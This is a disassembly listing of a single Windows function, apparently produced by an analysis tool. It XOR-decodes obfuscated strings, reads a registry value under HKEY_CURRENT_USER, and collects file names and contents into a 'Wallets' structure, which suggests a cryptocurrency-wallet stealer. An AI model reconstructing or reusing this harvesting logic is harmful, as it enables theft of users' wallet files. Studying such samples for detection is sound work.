Function at 0x140032cf0
Capabilities:
Query or enumerate registry value

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x998]
sub rsp, 0xa70
movaps xmmword [rax - 0x38], xmm6
mov rax, qword [0x14012ac00]
xor rax, rsp
mov qword [rbp + 0x950], rax
xor r12d, r12d
mov dword [rsp + 0x30], r12d
movabs rax, 0x74f63d054b43a94c
mov qword [rbp + 0x378], rax
mov rax, qword [rbp + 0x378]
mov qword [rbp + 0x3b0], rax
movabs rax, 0xb85a5c59849930d
mov qword [rbp + 0x378], rax
mov rax, qword [rbp + 0x378]
mov qword [rbp + 0x3b8], rax
movabs rsi, 0x309749640f31dd3f
mov qword [rbp + 0x378], rsi
mov rax, qword [rbp + 0x378]
mov qword [rbp + 0x520], rax
movabs rbx, 0xb85a5c59849e164
mov qword [rbp + 0x378], rbx
mov rax, qword [rbp + 0x378]
mov qword [rbp + 0x528], rax
movdqa xmm0, xmmword [rbp + 0x3b0]
xorps xmm0, xmmword [rbp + 0x520]
movdqa xmmword [rbp + 0x3b0], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x458], xmm0
mov qword [rbp + 0x468], r12
mov qword [rbp + 0x470], r12
lea rax, [rbp + 0x3b0]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], r12b
jne 0x140032df0
lea rdx, [rbp + 0x3b0]
lea rcx, [rbp + 0x458]
call fcn.1400300a0
nop
movabs rax, 0x54b93d01635dbc48
mov qword [rbp + 0x378], rax
mov rax, qword [rbp + 0x378]
mov qword [rbp + 0x3b0], rax
movabs rax, 0xb85a5c598499505
mov qword [rbp + 0x378], rax
mov rax, qword [rbp + 0x378]
mov qword [rbp + 0x3b8], rax
mov qword [rbp + 0x378], rsi
mov rax, qword [rbp + 0x378]
mov qword [rbp + 0x520], rax
mov qword [rbp + 0x378], rbx
mov rax, qword [rbp + 0x378]
mov qword [rbp + 0x528], rax
movdqa xmm0, xmmword [rbp + 0x3b0]
xorps xmm0, xmmword [rbp + 0x520]
movdqa xmmword [rbp + 0x3b0], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x3e0], xmm0
mov qword [rbp + 0x3f0], r12
mov qword [rbp + 0x3f8], r12
lea rax, [rbp + 0x3b0]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140032eb2
lea rdx, [rbp + 0x3b0]
lea rcx, [rbp + 0x3e0]
call fcn.1400300a0
nop
mov r14, qword [0x140131530]
mov r15, qword [0x140131538]
cmp r14, r15
je 0x14003440f
lea r13, [0x14012ae30]
mov edi, dword [rsp + 0x30]
lea rcx, [0x14012afc0]
movabs r9, 0xb85a5c59849e138
movabs r8, 0x75c508335b77926c
movabs rdx, 0x309749640f458c12
mov eax, dword [r14]
cmp eax, 3
jne 0x1400338d4
mov qword [rbp + 0x390], rdx
mov rax, qword [rbp + 0x390]
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x390], rbx
mov rax, qword [rbp + 0x390]
mov qword [rbp + 0x18], rax
mov qword [rbp + 0x390], rsi
mov rax, qword [rbp + 0x390]
mov qword [rbp + 0x530], rax
mov qword [rbp + 0x390], rbx
mov rax, qword [rbp + 0x390]
mov qword [rbp + 0x538], rax
movdqa xmm0, xmmword [rbp + 0x10]
xorps xmm0, xmmword [rbp + 0x530]
movdqa xmmword [rbp + 0x10], xmm0
mov qword [rbp + 0x390], r8
mov rax, qword [rbp + 0x390]
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x390], r9
mov rax, qword [rbp + 0x390]
mov qword [rbp + 0x28], rax
mov qword [rbp + 0x390], rsi
mov rax, qword [rbp + 0x390]
mov qword [rbp + 0x540], rax
mov qword [rbp + 0x390], rbx
mov rax, qword [rbp + 0x390]
mov qword [rbp + 0x548], rax
movdqa xmm0, xmmword [rbp + 0x20]
xorps xmm0, xmmword [rbp + 0x540]
movdqa xmmword [rbp + 0x20], xmm0
lea rbx, [r14 + 8]
mov r8, rbx
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x120]
call fcn.1400424f0
nop
mov r8d, 1
lea rdx, [0x14010f898]
mov rcx, rax
call fcn.140040c50
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
mov qword [rbp - 0x20], r12
mov qword [rbp - 0x18], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x20], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov edi, dword [rsp + 0x30]
or edi, 1
mov dword [rsp + 0x30], edi
mov r8, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 0xf
jbe 0x140033054
mov rbx, qword [rbx]
mov rdx, rbx
lea rcx, [rbp - 0x30]
call fcn.140040c50
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x40], r12
mov qword [rbp - 0x38], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x40], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
or edi, 2
mov dword [rsp + 0x30], edi
lea r8, [rbp + 0x10]
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0x488]
call fcn.140041db0
nop
and edi, 0xfffffffd
mov dword [rsp + 0x30], edi
mov rdx, qword [rbp - 0x38]
cmp rdx, 0xf
jbe 0x1400330eb
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400330e6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140034520
call fcn.1400a9a50
mov qword [rbp - 0x40], r12
mov qword [rbp - 0x38], 0xf
mov byte [rbp - 0x50], 0
and edi, 0xfffffffe
mov dword [rsp + 0x30], edi
mov rdx, qword [rbp - 0x18]
cmp rdx, 0xf
jbe 0x14003313d
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140033138
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140034526
call fcn.1400a9a50
mov qword [rbp - 0x20], r12
mov qword [rbp - 0x18], 0xf
mov byte [rbp - 0x30], 0
mov rdx, qword [rbp + 0x138]
cmp rdx, 0xf
jbe 0x14003318e
inc rdx
mov rcx, qword [rbp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140033189
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003452c
call fcn.1400a9a50
mov qword [rbp + 0x130], r12
mov qword [rbp + 0x138], 0xf
mov byte [rbp + 0x120], 0
mov qword [rbp + 0x378], r12
mov dword [rbp + 0x380], 0x400
mov dword [rbp + 0x400], 0xf003f
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
mov qword [rbp - 0x60], r12
mov qword [rbp - 0x58], r12
mov qword [rbp - 0x60], r12
mov qword [rbp - 0x58], 0xf
mov byte [rbp - 0x70], 0
or edi, 0x10
mov dword [rsp + 0x30], edi
lea rdx, [rbp + 0x488]
cmp qword [rbp + 0x4a0], 0xf
cmova rdx, qword [rbp + 0x488]
lea rax, [rbp + 0x378]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1400332fa
lea rdx, [rbp + 0x458]
cmp qword [rbp + 0x470], 0xf
cmova rdx, qword [rbp + 0x458]
lea rax, [rbp + 0x380]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x550]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x400]
xor r8d, r8d
mov rcx, qword [rbp + 0x378]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1400332fa
mov r8d, dword [rbp + 0x380]
dec r8d
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
mov qword [rbp + 0x40], r12
mov qword [rbp + 0x48], r12
lea rdx, [rbp + 0x550]
lea rcx, [rbp + 0x30]
call fcn.1400300a0
nop
lea rdx, [rbp + 0x30]
lea rcx, [rbp - 0x70]
call fcn.14003fbe0
nop
mov rdx, qword [rbp + 0x48]
cmp rdx, 0xf
jbe 0x1400332ea
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400332e5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140034532
call fcn.1400a9a50
mov qword [rbp + 0x40], r12
mov qword [rbp + 0x48], 0xf
mov byte [rbp + 0x30], 0
mov rcx, qword [rbp + 0x378]
test rcx, rcx
je 0x14003330c
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rbp + 0x408]
mov qword [rbp + 0x278], rax
lea rax, [rbp - 0x70]
cmp qword [rbp - 0x58], 0xf
cmova rax, qword [rbp - 0x70]
mov qword [rbp + 0x110], rax
mov rax, qword [rbp - 0x60]
mov qword [rbp + 0x118], rax
movaps xmm0, xmmword [rbp + 0x110]
movdqa xmmword [rbp + 0x390], xmm0
lea rdx, [rbp + 0x390]
lea rcx, [rbp + 0x408]
call fcn.14004bfc0
or edi, 8
mov dword [rsp + 0x30], edi
and edi, 0xfffffff7
mov dword [rsp + 0x30], edi
and edi, 0xffffffef
mov dword [rsp + 0x30], edi
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x1400333ac
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400333a7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140034538
call fcn.1400a9a50
mov qword [rbp - 0x60], r12
mov qword [rbp - 0x58], 0xf
mov byte [rbp - 0x70], 0
cmp qword [rbp + 0x418], 0
je 0x140033815
lea rdx, [rbp + 0x408]
lea rcx, [rbp + 0x358]
call fcn.14002e700
movsd xmm0, qword [rax]
movsd qword [rbp + 0x1b0], xmm0
mov ecx, dword [rax + 8]
mov dword [rbp + 0x100], ecx
mov qword [rbp + 0x108], r13
movaps xmm0, xmmword [rbp + 0x100]
movdqa xmmword [rbp + 0x390], xmm0
mov eax, dword [rbp + 0x1b0]
test eax, eax
je 0x14003380d
mov dword [rbp + 0x390], r12d
mov qword [rbp + 0x398], r13
cmp eax, 1
je 0x140033815
lea rax, [rbp + 0x50]
mov qword [rbp + 0x2a0], rax
lea rax, [rbp + 0x3e0]
cmp qword [rbp + 0x3f8], 0xf
cmova rax, qword [rbp + 0x3e0]
mov qword [rbp + 0xf0], rax
mov rax, qword [rbp + 0x3f0]
mov qword [rbp + 0xf8], rax
movaps xmm0, xmmword [rbp + 0xf0]
movdqa xmmword [rbp + 0x390], xmm0
lea rdx, [rbp + 0x390]
lea rcx, [rbp + 0x50]
call fcn.14004bfc0
bts edi, 9
mov dword [rsp + 0x30], edi
btr edi, 9
mov dword [rsp + 0x30], edi
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x408]
call fcn.14002cd50
nop
mov rdx, qword [rbp + 0x68]
cmp rdx, 7
jbe 0x1400334e4
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400334df
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003453e
call fcn.1400a9a50
mov qword [rbp + 0x60], r12
mov qword [rbp + 0x68], 7
mov word [rbp + 0x50], r12w
lea rdx, [rbp + 0x408]
lea rcx, [rbp + 0x348]
call fcn.14002e700
movsd xmm0, qword [rax]
movsd qword [rbp + 0x1c0], xmm0
mov ecx, dword [rax + 8]
mov dword [rbp + 0xe0], ecx
mov qword [rbp + 0xe8], r13
movaps xmm0, xmmword [rbp + 0xe0]
movdqa xmmword [rbp + 0x390], xmm0
mov eax, dword [rbp + 0x1c0]
test eax, eax
je 0x140033803
mov dword [rbp + 0x390], r12d
mov qword [rbp + 0x398], r13
cmp eax, 1
je 0x140033815
lea rdx, [rbp + 0x408]
lea rcx, [rbp + 0x4a8]
call fcn.140077400
nop
cmp byte [rbp + 0x4c8], 0
je 0x1400337f5
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x390], xmm0
lea rdx, [rbp + 0x390]
lea rcx, [rbp + 0x428]
call fcn.140040920
bts edi, 0x15
mov dword [rsp + 0x30], edi
lea rax, [rbp + 0x268]
mov qword [rbp + 0x2a8], rax
lea rdx, [rbp + 0x3e0]
cmp qword [rbp + 0x3f8], 0xf
cmova rdx, qword [rbp + 0x3e0]
mov r8, qword [rbp + 0x3f0]
lea rcx, [rbp + 0x70]
call fcn.140042160
bts edi, 0x16
mov dword [rsp + 0x30], edi
lea rdx, [rbp + 0x70]
lea rcx, [rbp + 0x268]
call fcn.140042430
mov rbx, rax
mov qword [rbp + 0x2b0], rax
lea rax, [rsp + 0x40]
mov qword [rbp + 0x2b8], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x58], r12
mov r8d, 8
lea rdx, str.filename
lea rcx, [rsp + 0x40]
call fcn.1400300a0
nop
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x428]
call fcn.14003ec00
nop
movzx edx, byte [rax]
movzx ecx, byte [rbx]
mov byte [rax], cl
mov byte [rbx], dl
lea rcx, [rbx + 8]
mov rdx, qword [rax + 8]
mov r8, qword [rcx]
mov qword [rax + 8], r8
mov qword [rcx], rdx
movzx edx, byte [rbx]
call fcn.140040e40
btr edi, 0x16
mov dword [rsp + 0x30], edi
mov rdx, qword [rbp + 0x88]
cmp rdx, 0xf
jbe 0x1400336a8
inc rdx
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400336a3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140034544
call fcn.1400a9a50
mov qword [rbp + 0x80], r12
mov qword [rbp + 0x88], 0xf
mov byte [rbp + 0x70], 0
lea rax, [rbp - 0x80]
mov qword [rbp + 0x2c0], rax
cmp byte [rbp + 0x4c8], 0
je 0x14003454a
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xor eax, eax
mov qword [rbp - 0x78], rax
lea rdx, [rbp + 0x4a8]
lea rcx, [rbp - 0x80]
call fcn.140052130
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0x2c8], rax
lea rax, [rsp + 0x40]
mov qword [rbp + 0x2d0], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x58], r12
mov r8d, 7
lea rdx, str.content
lea rcx, [rsp + 0x40]
call fcn.1400300a0
nop
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x428]
call fcn.14003ec00
nop
movzx edx, byte [rax]
movzx ecx, byte [rbp - 0x80]
mov byte [rax], cl
mov byte [rbp - 0x80], dl
mov rcx, qword [rax + 8]
mov rdx, qword [rbp - 0x78]
mov qword [rax + 8], rdx
mov qword [rbp - 0x78], rcx
movzx edx, byte [rbp - 0x80]
lea rcx, [rbp - 0x78]
call fcn.140040e40
lea rax, [rsp + 0x40]
mov qword [rbp + 0x2d8], rax
lea rdx, str.Wallets
lea rcx, [rsp + 0x40]
call fcn.14003fc70
nop
mov rdx, rax
lea rcx, [0x14012b1b0]
call fcn.14003ec00
mov rbx, rax
lea rax, [rbp + 0x390]
mov qword [rbp + 0x2e0], rax
lea rdx, [r14 + 0x28]
lea rcx, [rbp + 0x390]
call fcn.14003fc70
nop
mov rdx, rax
mov rcx, rbx
call fcn.14003ec00
lea rdx, [rbp + 0x428]
mov rcx, rax
call fcn.14003eb20
btr edi, 0x15
mov dword [rsp + 0x30], edi
movzx edx, byte [rbp + 0x428]
lea rcx, [rbp + 0x430]
call fcn.140040e40
nop
lea rcx, [rbp + 0x4a8]
call fcn.140030f50
jmp 0x140033815
test ecx, ecx
jne 0x140034505
jmp 0x140033815
test ecx, ecx
jne 0x140034550
mov rdx, qword [rbp + 0x420]
cmp rdx, 7
jbe 0x14003385b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x408]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140033856
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003456b
call fcn.1400a9a50
mov qword [rbp + 0x418], r12
mov qword [rbp + 0x420], 7
mov word [rbp + 0x408], r12w
mov rdx, qword [rbp + 0x4a0]
cmp rdx, 0xf
jbe 0x1400338b6
inc rdx
mov rcx, qword [rbp + 0x488]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400338b1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140034571
call fcn.1400a9a50
mov qword [rbp + 0x498], r12
mov qword [rbp + 0x4a0], 0xf
mov byte [rbp + 0x488], 0
jmp 0x1400343f7
lea rdx, [0x14012afa0]
cmp eax, 2
cmove rdx, rcx
lea rcx, [rbp + 0x3c0]
call fcn.140034db0
nop
lea rdx, [r14 + 8]
lea rcx, [rbp + 0x3c0]
call fcn.140042650
lea rdx, [rbp + 0x3c0]
lea rcx, [rbp + 0x338]
call fcn.14002e700
movsd xmm0, qword [rax]
movsd qword [rbp + 0x1d0], xmm0
mov ecx, dword [rax + 8]
mov dword [rbp + 0xd0], ecx
mov qword [rbp + 0xd8], r13
movaps xmm0, xmmword [rbp + 0xd0]
movdqa xmmword [rbp + 0x390], xmm0
mov eax, dword [rbp + 0x1d0]
test eax, eax
je 0x14003438f
mov dword [rbp + 0x390], r12d
mov qword [rbp + 0x398], r13
cmp eax, 1
je 0x140034397
lea rdx, [rbp + 0x3c0]
lea rcx, [rbp + 0x328]
call fcn.14002e700
movsd xmm0, qword [rax]
movsd qword [rbp + 0x1e0], xmm0
mov edx, dword [rax + 8]
mov ecx, dword [rbp + 0x1e0]
test edx, edx
je 0x14003399c
lea eax, [rcx - 1]
test eax, 0xfffffff7
jne 0x140034577
cmp ecx, 3
jne 0x140033f4b
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x3b0], xmm0
xor r8d, r8d
lea rdx, [rbp + 0x3c0]
lea rcx, [rbp + 0x3b0]
call fcn.140041f90
test eax, eax
jne 0x1400345b3
xorps xmm0, xmm0
movups xmmword [rbp + 0x448], xmm0
lea rax, [rbp + 0x390]
mov qword [rbp + 0x2e8], rax
movdqa xmmword [rbp + 0x390], xmm0
mov rcx, qword [rbp + 0x3b8]
test rcx, rcx
je 0x140033a02
lock inc dword [rcx + 8]
mov edi, dword [rsp + 0x30]
movdqa xmm6, xmmword [rbp + 0x3b0]
movdqa xmmword [rbp + 0x390], xmm6
lea rdx, [rbp + 0x390]
lea rcx, [rbp + 0x448]
call fcn.14002e4d0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x520], xmm0
lea rax, [rbp + 0x390]
mov qword [rbp + 0x2f0], rax
movdqa xmmword [rbp + 0x390], xmm0
mov rcx, qword [rbp + 0x3b8]
test rcx, rcx
je 0x140033a62
lock inc dword [rcx + 8]
movdqa xmm6, xmmword [rbp + 0x3b0]
mov edi, dword [rsp + 0x30]
movdqa xmmword [rbp + 0x390], xmm6
lea rdx, [rbp + 0x390]
lea rcx, [rbp + 0x520]
call fcn.14002e5b0
nop
mov rax, qword [rbp + 0x448]
cmp rax, qword [rbp + 0x520]
je 0x140033e7a
lea rbx, [rax + 0x20]
mov rdx, rbx
lea rcx, [rbp + 0x368]
call fcn.14002e700
movsd xmm0, qword [rax]
movsd qword [rbp + 0x1a0], xmm0
mov edx, dword [rax + 8]
mov ecx, dword [rbp + 0x1a0]
test edx, edx
je 0x140033acc
lea eax, [rcx - 1]
test eax, 0xfffffff7
jne 0x14003458b
cmp ecx, 2
jne 0x140033e5a
mov rdx, rbx
lea rcx, [rbp + 0x4d0]
call fcn.140077400
nop
cmp byte [rbp + 0x4f0], 0
je 0x140033e4e
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x438]
call fcn.140040920
bts edi, 7
mov dword [rsp + 0x30], edi
lea rax, [rbp + 0x280]
mov qword [rbp + 0x2f8], rax
lea rdx, [rbp + 0x160]
mov rcx, rbx
call fcn.14002d0f0
nop
lea rdx, [rbp + 0x140]
mov rcx, rax
call fcn.14002cf80
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0xf
jbe 0x140033b50
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rbp + 0x90]
call fcn.140042160
bts edi, 8
mov dword [rsp + 0x30], edi
lea rdx, [rbp + 0x90]
lea rcx, [rbp + 0x280]
call fcn.140042430
mov rbx, rax
mov qword [rbp + 0x300], rax
lea rax, [rsp + 0x40]
mov qword [rbp + 0x1f0], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x58], r12
mov r8d, 8
lea rdx, str.filename
lea rcx, [rsp + 0x40]
call fcn.1400300a0
nop
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x438]
call fcn.14003ec00
nop
movzx edx, byte [rax]
movzx ecx, byte [rbx]
mov byte [rax], cl
mov byte [rbx], dl
lea rcx, [rbx + 8]
mov rdx, qword [rax + 8]
mov r8, qword [rcx]
mov qword [rax + 8], r8
mov qword [rcx], rdx
movzx edx, byte [rbx]
call fcn.140040e40
btr edi, 8
mov dword [rsp + 0x30], edi
mov rdx, qword [rbp + 0xa8]
cmp rdx, 0xf
jbe 0x140033c39
inc rdx
mov rcx, qword [rbp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140033c34
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003459b
call fcn.1400a9a50
mov qword [rbp + 0xa0], r12
mov qword [rbp + 0xa8], 0xf
mov byte [rbp + 0x90], 0
mov rdx, qword [rbp + 0x158]
cmp rdx, 0xf
jbe 0x140033c93
inc rdx
mov rcx, qword [rbp + 0x140]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140033c8e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400345a1
call fcn.1400a9a50
mov qword [rbp + 0x150], r12
mov qword [rbp + 0x158], 0xf
mov byte [rbp + 0x140], 0
mov rdx, qword [rbp + 0x178]
cmp rdx, 7
jbe 0x140033cf2
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x160]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140033ced
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400345a7
call fcn.1400a9a50
mov qword [rbp + 0x170], r12
mov qword [rbp + 0x178], 7
mov word [rbp + 0x160], r12w
lea rax, [rsp + 0x70]
mov qword [rbp + 0x1f8], rax
cmp byte [rbp + 0x4f0], 0
je 0x1400345ad
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
xor eax, eax
mov qword [rsp + 0x78], rax
lea rdx, [rbp + 0x4d0]
lea rcx, [rsp + 0x70]
call fcn.140052130
nop
lea rax, [rsp + 0x70]
mov qword [rbp + 0x200], rax
lea rax, [rsp + 0x40]
mov qword [rbp + 0x208], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x58], r12
mov r8d, 7
lea rdx, str.content
lea rcx, [rsp + 0x40]
call fcn.1400300a0
nop
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x438]
call fcn.14003ec00
nop
movzx edx, byte [rax]
movzx ecx, byte [rsp + 0x70]
mov byte [rax], cl
mov byte [rsp + 0x70], dl
mov rcx, qword [rax + 8]
mov rdx, qword [rsp + 0x78]
mov qword [rax + 8], rdx
mov qword [rsp + 0x78], rcx
movzx edx, byte [rsp + 0x70]
lea rcx, [rsp + 0x78]
call fcn.140040e40
lea rax, [rsp + 0x40]
mov qword [rbp + 0x210], rax
lea rdx, str.Wallets
lea rcx, [rsp + 0x40]
call fcn.14003fc70
nop
mov rdx, rax
lea rcx, [0x14012b1b0]
call fcn.14003ec00
mov rbx, rax
lea rax, [rbp + 0x308]
mov qword [rbp + 0x218], rax
lea rdx, [r14 + 0x28]
lea rcx, [rbp + 0x308]
call fcn.14003fc70
nop
mov rdx, rax
mov rcx, rbx
call fcn.14003ec00
lea rdx, [rbp + 0x438]
mov rcx, rax
call fcn.14003eb20
btr edi, 7
mov dword [rsp + 0x30], edi
movzx edx, byte [rbp + 0x438]
lea rcx, [rbp + 0x440]
call fcn.140040e40
nop
lea rcx, [rbp + 0x4d0]
call fcn.140030f50
lea rcx, [rbp + 0x448]
call fcn.14002e3c0
mov rax, qword [rbp + 0x448]
cmp rax, qword [rbp + 0x520]
jne 0x140033a92
mov rbx, qword [rbp + 0x528]
test rbx, rbx
je 0x140033eb9
mov eax, 0xffffffff
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x140033eb5
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, 0xffffffff
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x140033eb5
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 8]
mov edi, dword [rsp + 0x30]
mov rbx, qword [rbp + 0x450]
test rbx, rbx
je 0x140033ef8
mov eax, 0xffffffff
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x140033ef4
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, 0xffffffff
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x140033ef4
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 8]
mov edi, dword [rsp + 0x30]
mov rcx, qword [rbp + 0x3b8]
test rcx, rcx
je 0x140034397
mov eax, 0xffffffff
lock xadd dword [rcx + 8], eax
cmp eax, 1
jne 0x140033f42
mov rbx, qword [rbp + 0x3b8]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, 0xffffffff
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x140033f42
mov rcx, qword [rbp + 0x3b8]
mov rax, qword [rcx]
call qword [rax + 8]
mov edi, dword [rsp + 0x30]
jmp 0x140034397
lea rdx, [rbp + 0x3c0]
lea rcx, [rbp + 0x4f8]
call fcn.140077400
nop
cmp byte [rbp + 0x518], 0
je 0x140034381
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x478]
call fcn.140040920
bts edi, 0x10
mov dword [rsp + 0x30], edi
lea rax, [rbp + 0x290]
mov qword [rbp + 0x220], rax
lea rcx, [rbp + 0x3c0]
cmp qword [rbp + 0x3d8], 7
cmova rcx, qword [rbp + 0x3c0]
mov rax, qword [rbp + 0x3d0]
lea rsi, [rcx + rax*2]
mov rbx, rsi
mov rdx, rsi
call fcn.14002cc30
cmp rax, rsi
je 0x14003400b
nop
movzx ecx, word [rax]
cmp cx, 0x5c
je 0x140033fdf
cmp cx, 0x2f
jne 0x140033fe8
add rax, 2
cmp rax, rsi
jne 0x140033fd0
cmp rax, rsi
je 0x14003400b
nop dword [rax]
lea rdx, [rbx - 2]
movzx ecx, word [rdx]
cmp cx, 0x5c
je 0x14003400b
cmp cx, 0x2f
je 0x14003400b
mov rbx, rdx
cmp rax, rdx
jne 0x140033ff0
sub rsi, rbx
sar rsi, 1
lea rax, [rbp - 0x10]
mov qword [rbp + 0x228], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
mov qword [rbp], r12
mov qword [rbp + 8], r12
mov r8, rsi
mov rdx, rbx
lea rcx, [rbp - 0x10]
call fcn.140034b20
bts edi, 0x13
mov dword [rsp + 0x30], edi
btr edi, 0x13
mov dword [rsp + 0x30], edi
bts edi, 0x12
mov dword [rsp + 0x30], edi
btr edi, 0x12
mov dword [rsp + 0x30], edi
bts edi, 0x11
mov dword [rsp + 0x30], edi
lea rdx, [rbp + 0x180]
lea rcx, [rbp - 0x10]
call fcn.14002cf80
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0xf
jbe 0x140034081
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rbp + 0xb0]
call fcn.140042160
bts edi, 0x14
mov dword [rsp + 0x30], edi
lea rdx, [rbp + 0xb0]
lea rcx, [rbp + 0x290]
call fcn.140042430
mov rbx, rax
mov qword [rbp + 0x230], rax
lea rax, [rsp + 0x40]
mov qword [rbp + 0x238], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x58], r12
mov r8d, 8
lea rdx, str.filename
lea rcx, [rsp + 0x40]
call fcn.1400300a0
nop
